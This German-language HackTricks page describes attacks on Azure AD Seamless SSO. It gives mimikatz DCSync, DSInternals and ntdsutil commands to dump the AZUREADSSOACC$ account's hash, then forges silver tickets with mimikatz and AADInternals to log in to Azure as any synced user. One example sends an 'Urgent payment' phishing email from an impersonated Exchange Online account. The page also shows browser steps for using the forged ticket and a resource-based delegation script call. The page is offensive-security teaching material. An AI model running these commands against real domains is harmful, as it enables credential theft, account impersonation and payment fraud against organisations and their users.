Az - Seamless SSO

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Aus den Dokumenten: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden, und normalerweise auch nicht ihre Benutzernamen eingeben. Diese Funktion ermöglicht es Ihren Benutzern, einfachen Zugriff auf Ihre cloudbasierten Anwendungen zu erhalten, ohne zusätzliche lokale Komponenten zu benötigen.

Grundsätzlich meldet Azure AD Seamless SSO Benutzer an, wenn sie sich auf einem lokal verbundenen PC befinden.

Es wird sowohl von PHS (Password Hash Sync) als auch von PTA (Pass-through Authentication) unterstützt.

Desktop SSO verwendet Kerberos zur Authentifizierung. Wenn konfiguriert, erstellt Azure AD Connect ein Computerkonto namens AZUREADSSOACC$ im lokalen AD. Das Passwort des AZUREADSSOACC$-Kontos wird im Klartext an Azure AD gesendet während der Konfiguration.

Die Kerberos-Tickets werden mit dem NTHash (MD4) des Passworts verschlüsselt, und Azure AD verwendet das gesendete Passwort zum Entschlüsseln der Tickets.

Azure AD stellt einen Endpunkt (https://autologon.microsoftazuread-sso.com) bereit, der Kerberos-Tickets akzeptiert. Der Browser des domänenverbundenen Computers leitet die Tickets an diesen Endpunkt für SSO weiter.

Lokal -> Cloud

Das Passwort des Benutzers AZUREADSSOACC$ ändert sich nie. Daher könnte ein Domänenadministrator den Hash dieses Kontos kompromittieren und ihn dann verwenden, um Silber-Tickets zu erstellen, um sich mit beliebigen lokal synchronisierten Benutzern mit Azure zu verbinden:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Mit dem Hash können Sie jetzt Silbertickets generieren:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Um das Silberticket zu nutzen, sollten die folgenden Schritte ausgeführt werden:

  1. Browser starten: Mozilla Firefox sollte gestartet werden.

  2. Browser konfigurieren:

    • Navigieren Sie zu about:config.

    • Setzen Sie die Einstellung für network.negotiate-auth.trusted-uris auf die angegebenen Werte:

      • https://aadg.windows.net.nsatc.net

      • https://autologon.microsoftazuread-sso.com

  3. Zugriff auf die Webanwendung:

    • Besuchen Sie eine Webanwendung, die in die AAD-Domäne der Organisation integriert ist. Ein häufiges Beispiel ist Office 365.

  4. Authentifizierungsprozess:

    • Geben Sie am Anmeldebildschirm den Benutzernamen ein und lassen Sie das Passwortfeld leer.

    • Drücken Sie zur Fortsetzung entweder TAB oder ENTER.

Dies umgeht nicht die MFA, wenn sie aktiviert ist.

Erstellen von Kerberos-Tickets für Cloud-only-Benutzer

Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie SID für jeden Cloud-Benutzer festlegen. Auf diese Weise können Kerberos-Tickets auch für Cloud-only-Benutzer erstellt werden. Die einzige Voraussetzung ist, dass die SID eine korrekte SID ist.

Die Änderung der SID von Cloud-only-Admin-Benutzern ist jetzt von Microsoft blockiert. Weitere Informationen finden Sie unter https://aadinternals.com/post/on-prem_admin/

On-prem -> Cloud über Ressourcenbasierte eingeschränkte Delegierung

Jeder, der Computerkonten (AZUREADSSOACC$) im Container oder OU verwalten kann, in dem dieses Konto enthalten ist, kann eine ressourcenbasierte eingeschränkte Delegierung über das Konto konfigurieren und darauf zugreifen.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated